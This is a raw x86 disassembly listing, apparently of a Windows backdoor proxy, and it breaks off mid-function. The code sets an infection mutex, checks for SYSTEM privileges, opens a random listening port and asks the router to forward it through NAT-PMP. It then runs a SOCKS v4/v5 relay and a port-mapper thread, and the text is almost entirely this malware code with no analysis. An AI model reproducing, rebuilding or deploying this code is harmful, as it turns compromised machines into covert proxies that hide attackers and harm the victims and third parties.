esi, eax push 0FFFFFFFFh mov eax, esi push eax call dword_411D38 ; WaitForSingleObject mov eax, esi push eax call dword_411CFC ; CloseHandle cmp dword_411034, 0 jz short loc_4040B7 lea eax, [ebp+var_4] push eax call sub_401001 pop ecx mov ecx, 3Ch cdq idiv ecx lea eax, [edx+6EAh] mov edi, eax push edi push offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n" call nullsub_2 pop ecx pop ecx mov ebx, edi jmp short loc_40409A ; --------------------------------------------------------------------------- loc_404074: ; CODE XREF: sub_40400E+8Ej push ebx push offset aISecondsLeft_ ; "\r%i seconds left \b\b\b." call nullsub_2 pop ecx pop ecx push 7D0h call dword_411D04 ; Sleep sub ebx, 2 call sub_403658 test eax, eax jz short loc_40409A xor ebx, ebx loc_40409A: ; CODE XREF: sub_40400E+64j ; sub_40400E+88j test ebx, ebx jg short loc_404074 push offset asc_40EAB5 ; "\r \r" call nullsub_2 pop ecx cmp dword_411034, 0 jz short loc_4040B7 jmp loc_404019 ; --------------------------------------------------------------------------- loc_4040B7: ; CODE XREF: sub_40400E+39j ; sub_40400E+A2j call sub_407D30 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40400E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040C3 proc near ; CODE XREF: sub_406A81+3DFp ; sub_406A81+488p ... var_44 = dword ptr -44h var_40 = byte ptr -40h var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 44h mov [ebp+var_44], 3Fh lea eax, [ebp+var_44] push eax lea eax, [ebp+var_40] push eax call dword_411E44 ; GetUserNameA test eax, eax jz short loc_40410A cmp [ebp+var_44], 6 jnb short loc_4040EC xor eax, eax jmp short loc_40410A ; --------------------------------------------------------------------------- loc_4040EC: ; CODE XREF: sub_4040C3+23j mov [ebp+var_1], 0 lea eax, [ebp+var_40] push eax push offset aSystem ; "SYSTEM" call dword_411D3C ; lstrcmpi test eax, eax jz short loc_404107 xor eax, eax jmp short loc_40410A ; --------------------------------------------------------------------------- loc_404107: ; CODE XREF: sub_4040C3+3Ej xor eax, eax inc eax loc_40410A: ; CODE XREF: sub_4040C3+1Dj ; sub_4040C3+27j ... mov esp, ebp pop ebp retn sub_4040C3 endp ; =============== S U B R O U T I N E ======================================= sub_40410E proc near ; CODE XREF: sub_405E59+1p ; sub_405F73:loc_405FE9p ... push ebx cmp dword_411028, 0 jz short loc_40411C xor eax, eax jmp short loc_404160 ; --------------------------------------------------------------------------- loc_40411C: ; CODE XREF: sub_40410E+8j xor ebx, ebx push offset a_win32__nmsl_u ; "_win32__nmsl_um__" push 0 push 0 call dword_411D0C ; CreateMutexA mov dword_411028, eax cmp dword_411028, 0 jz short loc_40415E call dword_411CEC ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_40415E xor ebx, ebx inc ebx push dword_411028 call dword_411CFC ; CloseHandle and dword_411028, 0 loc_40415E: ; CODE XREF: sub_40410E+2Bj ; sub_40410E+38j mov eax, ebx loc_404160: ; CODE XREF: sub_40410E+Cj pop ebx retn sub_40410E endp ; =============== S U B R O U T I N E ======================================= sub_404162 proc near ; CODE XREF: sub_405E59+3Dp ; sub_405F73+5Ap ... cmp dword_411028, 0 jz short locret_40417E push dword_411028 call dword_411CFC ; CloseHandle and dword_411028, 0 locret_40417E: ; CODE XREF: sub_404162+7j retn sub_404162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40417F proc near ; DATA XREF: sub_40440D+81o ; DMN1:004458F9o var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_40E = word ptr -40Eh var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 420h push ebx push esi push edi mov eax, [ebp+arg_0] mov [ebp+var_418], eax mov eax, [eax+8] mov [ebp+var_4], eax xor edi, edi mov eax, [ebp+var_418] mov edx, [eax] mov [ebp+var_40C], edx push eax call sub_401076 pop ecx push offset dword_412860 call dword_411CD0 ; RtlEnterCriticalSection push 0 push [ebp+var_40C] push dword_412938 call sub_401FE3 add esp, 0Ch mov [ebp+var_420], eax push offset dword_412860 call dword_411CD4 ; RtlLeaveCriticalSection cmp [ebp+var_420], 0 jnz short loc_40421B mov eax, [ebp+var_40C] mov [ebp+var_41C], eax push eax call sub_4070B0 ; inet_ntoa mov [ebp+var_414], eax push [ebp+var_414] push offset aConnectionReje ; "connection rejected (from [%s])\n" call nullsub_1 pop ecx pop ecx jmp loc_4043E2 ; --------------------------------------------------------------------------- loc_40421B: ; CODE XREF: sub_40417F+6Bj mov [ebp+var_40E], 0C1Dh push offset a127_0_0_1 ; "127.0.0.1" call sub_4017BE pop ecx mov [ebp+var_40C], eax test eax, eax jz short loc_404244 cmp eax, 0FFFFFFFFh jz short loc_404244 test eax, eax jnz short loc_404249 loc_404244: ; CODE XREF: sub_40417F+B8j ; sub_40417F+BFj jmp loc_4043E2 ; --------------------------------------------------------------------------- loc_404249: ; CODE XREF: sub_40417F+C3j mov eax, [ebp+var_40C] mov [ebp+var_41C], eax push eax call sub_4070B0 ; inet_ntoa mov [ebp+var_414], eax movzx eax, [ebp+var_40E] push eax push [ebp+var_414] push offset aConnectingToSI ; "connecting to %s:%i\n" call nullsub_1 add esp, 0Ch movzx eax, [ebp+var_40E] push eax push [ebp+var_40C] push edi call sub_401567 add esp, 0Ch test eax, eax jnz short loc_4042BD call sub_4070C2 ; WSAGetLastError push eax movzx eax, [ebp+var_40E] push eax push [ebp+var_414] push offset aConnectionToSI ; "connection to %s:%i failed! %-( (%i)\n" call nullsub_1 add esp, 10h jmp loc_4043E2 ; --------------------------------------------------------------------------- loc_4042BD: ; CODE XREF: sub_40417F+116j movzx eax, [ebp+var_40E] push eax push [ebp+var_414] push offset aConnectedToSI ; "connected to %s:%i\n" call nullsub_1 add esp, 0Ch xor esi, esi loc_4042DA: ; CODE XREF: sub_40417F+242j ; sub_40417F+253j inc esi push [ebp+var_4] call sub_4014CF pop ecx test eax, eax jl loc_4043D7 push [ebp+var_4] call sub_401542 pop ecx mov ebx, eax test ebx, ebx jl loc_4043D7 cmp esi, 1Eh jle short loc_40430B test ebx, ebx jnz short loc_40430B xor ebx, ebx inc ebx loc_40430B: ; CODE XREF: sub_40417F+183j ; sub_40417F+187j test ebx, ebx jle short loc_404357 cmp ebx, 400h jle short loc_40431C mov ebx, 400h loc_40431C: ; CODE XREF: sub_40417F+196j push ebx lea eax, [ebp+var_408] push eax push [ebp+var_4] call sub_4016DC add esp, 0Ch mov [ebp+var_8], eax test eax, eax jle loc_4043D7 push [ebp+var_8] lea eax, [ebp+var_408] push eax push edi call sub_401787 add esp, 0Ch test eax, eax jle loc_4043E2 xor esi, esi loc_404357: ; CODE XREF: sub_40417F+18Ej push edi call sub_4014CF pop ecx test eax, eax jl short loc_4043D7 push edi call sub_401542 pop ecx mov ebx, eax test ebx, ebx jl short loc_4043D7 cmp esi, 1Eh jle short loc_40437B test ebx, ebx jnz short loc_40437B xor ebx, ebx inc ebx loc_40437B: ; CODE XREF: sub_40417F+1F3j ; sub_40417F+1F7j test ebx, ebx jle short loc_4043BF cmp ebx, 400h jle short loc_40438C mov ebx, 400h loc_40438C: ; CODE XREF: sub_40417F+206j push ebx lea eax, [ebp+var_408] push eax push edi call sub_4016DC add esp, 0Ch mov [ebp+var_8], eax test eax, eax jle short loc_4043D7 push [ebp+var_8] lea eax, [ebp+var_408] push eax push [ebp+var_4] call sub_401787 add esp, 0Ch test eax, eax jle short loc_4043E2 xor esi, esi loc_4043BF: ; CODE XREF: sub_40417F+1FEj test esi, esi jz loc_4042DA push 190h call dword_411D04 ; Sleep jmp loc_4042DA ; --------------------------------------------------------------------------- loc_4043D7: ; CODE XREF: sub_40417F+167j ; sub_40417F+17Aj ... push offset aDataExchangeCo ; "data exchange complete\n" call nullsub_1 pop ecx loc_4043E2: ; CODE XREF: sub_40417F+97j ; sub_40417F:loc_404244j ... push offset aConnectionClos ; "connection closed.\n" call nullsub_1 pop ecx push [ebp+var_4] call sub_4014C2 pop ecx test edi, edi jz short loc_404401 push edi call sub_4014C2 pop ecx loc_404401: ; CODE XREF: sub_40417F+279j call sub_407D30 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40417F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40440D proc near ; DATA XREF: sub_404CDF+164o ; DMN1:004462AEo var_6 = word ptr -6 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push ebx push esi loc_404415: ; CODE XREF: sub_40440D+BEj call sub_401359 mov dword_41102C, eax push 0C1Ch push 0 push dword_41102C call sub_4015B7 add esp, 0Ch test eax, eax jnz short loc_404445 push offset aCanTBindPortMa ; "can't bind port mapper listen socket!\n" call nullsub_1 pop ecx jmp short loc_4044A4 ; --------------------------------------------------------------------------- loc_404445: ; CODE XREF: sub_40440D+29j ; sub_40440D+62j ... push dword_41102C call sub_401607 pop ecx test eax, eax jz short loc_4044A4 lea eax, [ebp+var_6] push eax lea eax, [ebp+var_4] push eax push dword_41102C call sub_40166C add esp, 0Ch mov esi, eax test esi, esi jz short loc_404445 push 0Ch call sub_401048 pop ecx mov ebx, eax mov eax, [ebp+var_4] mov [ebx], eax mov ax, [ebp+var_6] mov [ebx+4], ax mov [ebx+8], esi push ebx push 0 push offset sub_40417F call sub_407CA0 add esp, 0Ch push eax call dword_411CFC ; CloseHandle jmp short loc_404445 ; --------------------------------------------------------------------------- loc_4044A4: ; CODE XREF: sub_40440D+36j ; sub_40440D+46j cmp dword_41102C, 0 jz short loc_4044D0 push dword_41102C call sub_4014C2 pop ecx and dword_41102C, 0 push 4E20h call dword_411D04 ; Sleep jmp loc_404415 ; --------------------------------------------------------------------------- loc_4044D0: ; CODE XREF: sub_40440D+9Ej cmp dword_41102C, 0 jz short loc_4044E5 push dword_41102C call sub_4014C2 pop ecx loc_4044E5: ; CODE XREF: sub_40440D+CAj and dword_41102C, 0 call sub_407D30 pop esi pop ebx mov esp, ebp pop ebp retn sub_40440D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044F7 proc near ; CODE XREF: sub_404573+2Ep var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx lea ebx, [ebp+var_20] mov byte ptr [ebx], 0 inc ebx movzx eax, [ebp+arg_4] mov [ebx], al inc ebx mov ax, [ebp+arg_C] mov [ebx], ax add ebx, 2 mov eax, [ebp+arg_8] mov [ebx], eax push 8 lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_401787 add esp, 0Ch pop ebx mov esp, ebp pop ebp retn sub_4044F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404531 proc near ; CODE XREF: sub_404573+47p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx lea ebx, [ebp+var_20] mov byte ptr [ebx], 5 inc ebx movzx eax, [ebp+arg_4] mov [ebx], al inc ebx mov byte ptr [ebx], 0 inc ebx mov byte ptr [ebx], 1 inc ebx mov eax, [ebp+arg_8] mov [ebx], eax add ebx, 4 mov ax, [ebp+arg_C] mov [ebx], ax push 0Ah lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_401787 add esp, 0Ch pop ebx mov esp, ebp pop ebp retn sub_404531 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404573 proc near ; CODE XREF: sub_404645+1F8p ; sub_404645+3B4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = word ptr 18h push ebp mov ebp, esp push ebx mov bl, [ebp+arg_8] cmp bl, 9 jbe short loc_404583 xor bl, bl inc bl loc_404583: ; CODE XREF: sub_404573+Aj cmp [ebp+arg_0], 4 jnz short loc_4045AB movzx eax, bl mov bl, byte_411038[eax] movzx eax, [ebp+arg_10] push eax push [ebp+arg_C] movzx eax, bl push eax push [ebp+arg_4] call sub_4044F7 add esp, 10h jmp short loc_4045C2 ; --------------------------------------------------------------------------- loc_4045AB: ; CODE XREF: sub_404573+14j movzx eax, [ebp+arg_10] push eax push [ebp+arg_C] movzx eax, bl push eax push [ebp+arg_4] call sub_404531 add esp, 10h loc_4045C2: ; CODE XREF: sub_404573+36j pop ebx pop ebp retn sub_404573 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045C5 proc near ; CODE XREF: sub_404645+182p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx mov ebx, [ebp+arg_0] loc_4045CD: ; CODE XREF: sub_4045C5+23j push 1 lea eax, [ebp+var_1] push eax push ebx call sub_4016DC add esp, 0Ch test eax, eax jg short loc_4045E4 xor eax, eax jmp short loc_4045ED ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_4045C5+19j cmp [ebp+var_1], 0 jnz short loc_4045CD xor eax, eax inc eax loc_4045ED: ; CODE XREF: sub_4045C5+1Dj pop ebx mov esp, ebp pop ebp retn sub_4045C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045F2 proc near ; CODE XREF: sub_404645+1B9p var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_4] mov esi, [ebp+arg_8] xor edi, edi mov byte ptr [ebx], 0 loc_404604: ; CODE XREF: sub_4045F2+47j push 1 lea eax, [ebp+var_1] push eax push [ebp+arg_0] call sub_4016DC add esp, 0Ch test eax, eax jg short loc_40461D xor eax, eax jmp short loc_40463E ; --------------------------------------------------------------------------- loc_40461D: ; CODE XREF: sub_4045F2+25j mov eax, edi inc edi mov dl, [ebp+var_1] mov [ebx+eax], dl mov byte ptr [ebx+edi], 0 lea eax, [esi-1] cmp edi, eax jl short loc_404635 xor eax, eax jmp short loc_40463E ; --------------------------------------------------------------------------- loc_404635: ; CODE XREF: sub_4045F2+3Dj cmp [ebp+var_1], 0 jnz short loc_404604 xor eax, eax inc eax loc_40463E: ; CODE XREF: sub_4045F2+29j ; sub_4045F2+41j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4045F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404645 proc near ; DATA XREF: sub_404CDF+22Co ; DMN1:00446376o var_430 = dword ptr -430h var_42B = byte ptr -42Bh var_42A = byte ptr -42Ah var_429 = byte ptr -429h var_428 = dword ptr -428h var_421 = byte ptr -421h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_411 = byte ptr -411h var_410 = dword ptr -410h var_40A = word ptr -40Ah var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 430h push ebx push esi push edi mov eax, [ebp+arg_0] mov [ebp+var_41C], eax mov edi, [eax+8] mov eax, [ebp+var_41C] mov edx, [eax] mov [ebp+var_410], edx mov dx, [eax+4] mov [ebp+var_40A], dx push eax call sub_401076 pop ecx and [ebp+var_4], 0 mov eax, [ebp+var_410] mov [ebp+var_420], eax push eax call sub_4070B0 ; inet_ntoa mov [ebp+var_418], eax movzx eax, [ebp+var_40A] push eax push [ebp+var_418] push offset aConnectionFrom ; "connection from [%s]\n" call sub_4075F0 add esp, 0Ch mov [ebp+var_411], 0 mov [ebp+var_421], 0 push 1 lea eax, [ebp+var_411] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_404CB2 push offset dword_412860 call dword_411CD0 ; RtlEnterCriticalSection push 0 push [ebp+var_410] push dword_412938 call sub_401FE3 add esp, 0Ch mov [ebp+var_428], eax push offset dword_412860 call dword_411CD4 ; RtlLeaveCriticalSection cmp [ebp+var_428], 0 jnz short loc_40472E push [ebp+var_418] push offset aConnectionReje ; "connection rejected (from [%s])\n" call nullsub_1 pop ecx pop ecx jmp loc_404CB2 ; --------------------------------------------------------------------------- loc_40472E: ; CODE XREF: sub_404645+D0j mov [ebp+var_40A], 0 and [ebp+var_410], 0 mov al, [ebp+var_411] cmp al, 4 jz short loc_404750 cmp al, 5 jnz loc_404CB2 loc_404750: ; CODE XREF: sub_404645+101j push [ebp+var_418] movsx eax, [ebp+var_411] push eax push offset aSocksVIS ; "socks v%i [%s]\n" call nullsub_1 add esp, 0Ch cmp [ebp+var_411], 4 jnz loc_40484A push 1 lea eax, [ebp+var_421] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_404CB2 push 2 lea eax, [ebp+var_40A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_404CB2 push 4 lea eax, [ebp+var_410] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_404CB2 push edi call sub_4045C5 pop ecx test eax, eax jz loc_404CB2 mov eax, [ebp+var_410] test eax, 0FFFFFFh jnz loc_404A36 test eax, 0FF000000h jz loc_404A36 push 400h lea eax, [ebp+var_408] push eax push edi call sub_4045F2 add esp, 0Ch test eax, eax jz loc_404CB2 lea eax, [ebp+var_408] push eax call sub_4017BE pop ecx mov [ebp+var_410], eax test eax, eax jz short loc_404834 cmp eax, 0FFFFFFFFh jz short loc_404834 test eax, eax jnz loc_404A36 loc_404834: ; CODE XREF: sub_404645+1DEj ; sub_404645+1E5j push 0 push 0 push 4 push edi push 4 call sub_404573 add esp, 14h jmp loc_404CB2 ; --------------------------------------------------------------------------- loc_40484A: ; CODE XREF: sub_404645+12Dj cmp [ebp+var_411], 5 jnz loc_404CB2 mov [ebp+var_429], 0 push 1 lea eax, [ebp+var_429] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jg short loc_40489A jmp loc_404CB2 ; --------------------------------------------------------------------------- loc_404879: ; CODE XREF: sub_404645+25Cj push 1 lea eax, [ebp+var_42A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_404CB2 sub [ebp+var_429], 1 loc_40489A: ; CODE XREF: sub_404645+22Dj cmp [ebp+var_429], 0 jnz short loc_404879 mov [ebp+var_430], 5 push 2 lea eax, [ebp+var_430] push eax push edi call sub_401787 add esp, 0Ch test eax, eax jle loc_404CB2 push 1 lea eax, [ebp+var_42A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_404CB2 cmp [ebp+var_42A], 5 jnz loc_404CB2 push 1 lea eax, [ebp+var_421] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_404CB2 push 1 lea eax, [ebp+var_42A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_404CB2 mov [ebp+var_42B], 0 push 1 lea eax, [ebp+var_42B] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_404CB2 cmp [ebp+var_42B], 1 jnz short loc_40496B push 4 lea eax, [ebp+var_410] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jg loc_404A1C jmp loc_404CB2 ; --------------------------------------------------------------------------- loc_40496B: ; CODE XREF: sub_404645+305j cmp [ebp+var_42B], 3 jnz loc_404A06 push 1 lea eax, [ebp+var_429] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_404CB2 cmp [ebp+var_429], 0 jz loc_404CB2 movsx eax, [ebp+var_429] push eax lea eax, [ebp+var_408] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_404CB2 movsx eax, [ebp+var_429] mov [ebp+eax+var_408], 0 lea eax, [ebp+var_408] push eax call sub_4017BE pop ecx mov [ebp+var_410], eax test eax, eax jz short loc_4049F0 cmp eax, 0FFFFFFFFh jz short loc_4049F0 test eax, eax jnz short loc_404A1C loc_4049F0: ; CODE XREF: sub_404645+39Ej ; sub_404645+3A5j push 0 push 0 push 4 push edi push 5 call sub_404573 add esp, 14h jmp loc_404CB2 ; --------------------------------------------------------------------------- loc_404A06: ; CODE XREF: sub_404645+32Dj push 0 push 0 push 8 push edi push 5 call sub_404573 add esp, 14h jmp loc_404CB2 ; --------------------------------------------------------------------------- loc_404A1C: ; CODE XREF: sub_404645+31Bj ; sub_404645+3A9j push 2 lea eax, [ebp+var_40A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_404CB2 loc_404A36: ; CODE XREF: sub_404645+19Bj ; sub_404645+1A6j ... movzx eax, [ebp+var_40A] push eax call sub_407068 ; htons mov [ebp+var_40A], ax test ax, ax jnz short loc_404A6B push 0 push 0 push 2 push edi movsx eax, [ebp+var_411] push eax call sub_404573 add esp, 14h jmp loc_404CB2 ; --------------------------------------------------------------------------- loc_404A6B: ; CODE XREF: sub_404645+408j cmp [ebp+var_421], 1 jz short loc_404A9A movzx eax, [ebp+var_40A] push eax push [ebp+var_410] push 7 push edi movsx eax, [ebp+var_411] push eax call sub_404573 add esp, 14h jmp loc_404CB2 ; --------------------------------------------------------------------------- loc_404A9A: ; CODE XREF: sub_404645+42Dj call sub_401359 mov [ebp+var_4], eax test eax, eax jnz short loc_404AC2 push 0 push 0 push 1 push edi movsx eax, [ebp+var_411] push eax call sub_404573 add esp, 14h jmp loc_404CB2 ; --------------------------------------------------------------------------- loc_404AC2: ; CODE XREF: sub_404645+45Fj mov eax, [ebp+var_410] mov [ebp+var_420], eax push eax call sub_4070B0 ; inet_ntoa mov [ebp+var_418], eax movzx eax, [ebp+var_40A] push eax push [ebp+var_418] push offset aConnectingToSI ; "connecting to %s:%i\n" call nullsub_1 add esp, 0Ch movzx eax, [ebp+var_40A] push eax push [ebp+var_410] push [ebp+var_4] call sub_401567 add esp, 0Ch test eax, eax jnz short loc_404B59 call sub_4070C2 ; WSAGetLastError push eax movzx eax, [ebp+var_40A] push eax push [ebp+var_418] push offset aConnectionToSI ; "connection to %s:%i failed! %-( (%i)\n" call nullsub_1 add esp, 10h movzx eax, [ebp+var_40A] push eax push [ebp+var_410] push 4 push edi movsx eax, [ebp+var_411] push eax call sub_404573 add esp, 14h jmp loc_404CB2 ; --------------------------------------------------------------------------- loc_404B59: ; CODE XREF: sub_404645+4CBj movzx eax, [ebp+var_40A] push eax push [ebp+var_418] push offset aConnectedToSI ; "connected to %s:%i\n" call nullsub_1 add esp, 0Ch movzx eax, [ebp+var_40A] push eax push [ebp+var_410] push 0 push edi movsx eax, [ebp+var_411] push eax call sub_404573 add esp, 14h test eax, eax jz loc_404CB2 push offset aTransferringDa ; "transferring data...\n" call nullsub_1 pop ecx xor esi, esi loc_404BAA: ; CODE XREF: sub_404645+64Cj ; sub_404645+65Dj inc esi push edi call sub_4014CF pop ecx test eax, eax jl loc_404CA7 push edi call sub_401542 pop ecx mov ebx, eax test ebx, ebx jl loc_404CA7 cmp esi, 1Eh jle short loc_404BD7 test ebx, ebx jnz short loc_404BD7 xor ebx, ebx inc ebx loc_404BD7: ; CODE XREF: sub_404645+589j ; sub_404645+58Dj test ebx, ebx jle short loc_404C23 cmp ebx, 400h jle short loc_404BE8 mov ebx, 400h loc_404BE8: ; CODE XREF: sub_404645+59Cj push ebx lea eax, [ebp+var_408] push eax push edi call sub_4016DC add esp, 0Ch mov [ebp+var_8], eax test eax, eax jle loc_404CA7 push [ebp+var_8] lea eax, [ebp+var_408] push eax push [ebp+var_4] call sub_401787 add esp, 0Ch test eax, eax jle loc_404CB2 xor esi, esi loc_404C23: ; CODE XREF: sub_404645+594j push [ebp+var_4] call sub_4014CF pop ecx test eax, eax jl short loc_404CA7 push [ebp+var_4] call sub_401542 pop ecx mov ebx, eax test ebx, ebx jl short loc_404CA7 cmp esi, 1Eh jle short loc_404C4B test ebx, ebx jnz short loc_404C4B xor ebx, ebx inc ebx loc_404C4B: ; CODE XREF: sub_404645+5FDj ; sub_404645+601j test ebx, ebx jle short loc_404C8F cmp ebx, 400h jle short loc_404C5C mov ebx, 400h loc_404C5C: ; CODE XREF: sub_404645+610j push ebx lea eax, [ebp+var_408] push eax push [ebp+var_4] call sub_4016DC add esp, 0Ch mov [ebp+var_8], eax test eax, eax jle short loc_404CA7 push [ebp+var_8] lea eax, [ebp+var_408] push eax push edi call sub_401787 add esp, 0Ch test eax, eax jle short loc_404CB2 xor esi, esi loc_404C8F: ; CODE XREF: sub_404645+608j test esi, esi jz loc_404BAA push 12Ch call dword_411D04 ; Sleep jmp loc_404BAA ; --------------------------------------------------------------------------- loc_404CA7: ; CODE XREF: sub_404645+56Fj ; sub_404645+580j ... push offset aDataExchangeCo ; "data exchange complete\n" call nullsub_1 pop ecx loc_404CB2: ; CODE XREF: sub_404645+91j ; sub_404645+E4j ... push offset aConnectionClos ; "connection closed.\n" call nullsub_1 pop ecx push edi call sub_4014C2 pop ecx cmp [ebp+var_4], 0 jz short loc_404CD3 push [ebp+var_4] call sub_4014C2 pop ecx loc_404CD3: ; CODE XREF: sub_404645+683j call sub_407D30 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_404645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CDF proc near ; DATA XREF: sub_406A07+62o ; DMN1:00447ED4o var_12 = word ptr -12h var_10 = dword ptr -10h var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi and [ebp+var_4], 0 and dword_41100C, 0 push offset aListener___ ; "listener...\n" call nullsub_1 pop ecx lea eax, [ebp+var_A] push eax call sub_4024A6 pop ecx mov bx, ax test bx, bx jz short loc_404D33 cmp bx, 0FFFFh jz short loc_404D33 movzx eax, bx cmp dword_411010, eax jz short loc_404D33 movzx eax, bx mov dword_411010, eax movzx eax, [ebp+var_A] mov dword_41100C, eax loc_404D33: ; CODE XREF: sub_404CDF+2Fj ; sub_404CDF+36j ... call sub_401359 mov dword_411034, eax loc_404D3D: ; CODE XREF: sub_404CDF+D7j cmp dword_41100C, 0 jnz short loc_404D76 loc_404D46: ; CODE XREF: sub_404CDF+8Ej ; sub_404CDF+95j lea eax, [ebp+var_4] push eax call sub_401001 pop ecx mov ecx, 4E20h cdq idiv ecx lea eax, [edx+4E20h] mov dword_41100C, eax mov eax, dword_41100C cmp eax, 247Fh jz short loc_404D46 cmp eax, 0BB8h jz short loc_404D46 loc_404D76: ; CODE XREF: sub_404CDF+65j movzx eax, word ptr dword_41100C push eax push 0 push dword_411034 call sub_4015B7 add esp, 0Ch test eax, eax jnz short loc_404DB8 and dword_41100C, 0 and dword_411010, 0 push dword_411034 call sub_4014C2 pop ecx call sub_401359 mov dword_411034, eax jmp short loc_404D3D ; --------------------------------------------------------------------------- loc_404DB8: ; CODE XREF: sub_404CDF+B1j push dword_41100C push offset aSocksPortI ; "SOCKS port: %i\n" call sub_4075F0 pop ecx pop ecx mov eax, dword_41100C mov dword_411010, eax call sub_403113 mov [ebp+var_8], eax movzx eax, word ptr dword_411010 push eax movzx eax, word ptr dword_41100C push eax push [ebp+var_8] call sub_403322 add esp, 0Ch movzx eax, ax mov dword_411010, eax cmp dword_411010, 0 jnz short loc_404E14 mov eax, dword_41100C mov dword_411010, eax jmp short loc_404E26 ; --------------------------------------------------------------------------- loc_404E14: ; CODE XREF: sub_404CDF+127j push dword_411010 push offset aNatpmpForwarde ; "NATPMP: forwarded to: %i\n" call sub_4075F0 pop ecx pop ecx loc_404E26: ; CODE XREF: sub_404CDF+133j movzx eax, word ptr dword_41100C push eax push eax call sub_402B02 pop ecx pop ecx test eax, eax jz short loc_404E3F mov eax, dword_41100C loc_404E3F: ; CODE XREF: sub_404CDF+159j push 0 push 0 push offset sub_40440D call sub_407CA0 add esp, 0Ch push eax call dword_411CFC ; CloseHandle push 1 push offset dword_411024 call dword_411D08 ; InterlockedExchange push 1 push offset dword_411030 call dword_411D08 ; InterlockedExchange push offset aStartingCommTh ; "starting COMM thread...\n" call nullsub_1 pop ecx push 0 push 0 push offset sub_40400E call sub_407CA0 add esp, 0Ch push eax call dword_411CFC ; CloseHandle push 0C8h call dword_411D04 ; Sleep push 0 push 0 push offset sub_403FEA call sub_407CA0 add esp, 0Ch push eax call dword_411CFC ; CloseHandle push 0C8h call dword_411D04 ; Sleep loc_404EC2: ; CODE XREF: sub_404CDF+20Dj ; sub_404CDF+240j push dword_411034 call sub_401607 pop ecx test eax, eax jz short loc_404F21 lea eax, [ebp+var_12] push eax lea eax, [ebp+var_10] push eax push dword_411034 call sub_40166C add esp, 0Ch mov edi, eax test edi, edi jz short loc_404EC2 push 0Ch call sub_401048 pop ecx mov esi, eax mov eax, [ebp+var_10] mov [esi], eax mov ax, [ebp+var_12] mov [esi+4], ax mov [esi+8], edi push esi push 0 push offset sub_404645 call sub_407CA0 add esp, 0Ch push eax call dword_411CFC ; CloseHandle jmp short loc_404EC2 ; --------------------------------------------------------------------------- loc_404F21: ; CODE XREF: sub_404CDF+1F1j push 0 push offset dword_411030 call dword_411D08 ; InterlockedExchange push dword_411034 call sub_4014C2 pop ecx and dword_411034, 0 call sub_407D30 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_404CDF endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx mov ebx, [ebp+10h] push 44h push 0 lea eax, [ebp-44h] push eax call sub_407960 add esp, 0Ch mov dword ptr [ebp-44h], 44h test ebx, ebx jz short loc_404F8A push offset asc_40EDC3 ; "\"" lea eax, [ebp-844h] push eax call sub_407A00 pop ecx pop ecx jmp short loc_404F91 ; --------------------------------------------------------------------------- loc_404F8A: ; CODE XREF: DMN0:00404F73j mov byte ptr [ebp-844h], 0 loc_404F91: 